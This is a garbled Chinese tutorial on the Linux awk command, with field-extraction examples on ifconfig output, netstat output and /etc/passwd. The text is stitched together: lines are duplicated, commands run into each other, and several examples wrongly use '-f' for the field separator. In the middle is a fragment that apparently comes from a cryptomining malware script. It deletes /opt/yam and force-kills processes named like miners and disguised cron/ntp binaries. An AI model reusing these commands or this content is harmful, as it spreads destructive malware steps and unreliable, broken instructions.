說到linux命令,大家都會了知一二,可以學linux最終極是很好的管理LINUX服務器,如同DBA一樣,做一個LINUX系統(tǒng)管理員,LINUX命令了解程序決定了你的工資高低(當然Shell不在命令之外);
awk命令,做為查詢命令的歸類吧,這個命令應用非常的廣泛,以至少于運算與分析上;所以,有必要學習,并通這學習這個命令,讓你體驗LINUX之強大;
awk有三種調(diào)用方式:
1,awk -F"分隔符" "command" filename;
2,將所有命令插入一個文件linux命令,使它權限程序可執(zhí)行,然后當成腳本調(diào)用它;
3,是將所有的awk命令插入一個單獨文件,然后調(diào)用;如:awk -f awk-script-file filename;
字段的引用 $ 字段操作符; $1代表第一列,$2代表第二列。。。n以此類推; $0代表整個輸入記錄;
比較:cut -d" " -f1sort -t" " -k1awk -F" " '{print $1}'
比較用cut和awk截取IP:
9、 # cat /proc/cpuinfo | grep name | cut -f2 -d: | uniq -c。9、 #cat /proc/cpuinfo |grep name | cut -f2 -d: | uniq -c。# cat /proc/cpuinfo | grep name | cut -f2 -d: | uniq -c。
ifconfig eth0 |grep Bcast |awk -F: '{print $2}'|awk '{print $1}'
ifconfig eth0|awk ‘nr==2‘|awk -f "[ :]+" ‘{print $4}‘。[root@andy ~]# netstat -nat | grep "192.168.120.20:16067" |awk '{print $5}'|awk -f: '{print $4}'|sort|uniq -c|sort -nr|head -20。 then rm -rf /opt/yamfips auxf|grep -v grep|grep /tmp/duckduckgo|awk '{print $2}'|xargs kill -9ps auxf|grep -v grep|grep "/usr/bin/cron"|awk '{print $2}'|xargs kill -9ps auxf|grep -v grep|grep "/opt/cron"|awk '{print $2}'|xargs kill -9ps auxf|grep -v grep|grep "/usr/sbin/ntp"|awk '{print $2}'|xargs kill -9ps auxf|grep -v grep|grep "/opt/minerd"|awk '{print $2}'|xargs kill -9ps auxf|grep -v grep|grep "mine。
--awk默認以N個空格為分隔符;
打印所有行 awk '{print $0}' /etc/passwd
打印第一列 awk -F: '{print $1}' /etc/passwd
$ awk -f":" '{ print $1 " " $3 }' /etc/passwd。$ awk -f":" '{ print $1 $3 }' /etc/passwd。$ awk -f":" '{ print $1 }' /etc/passwd。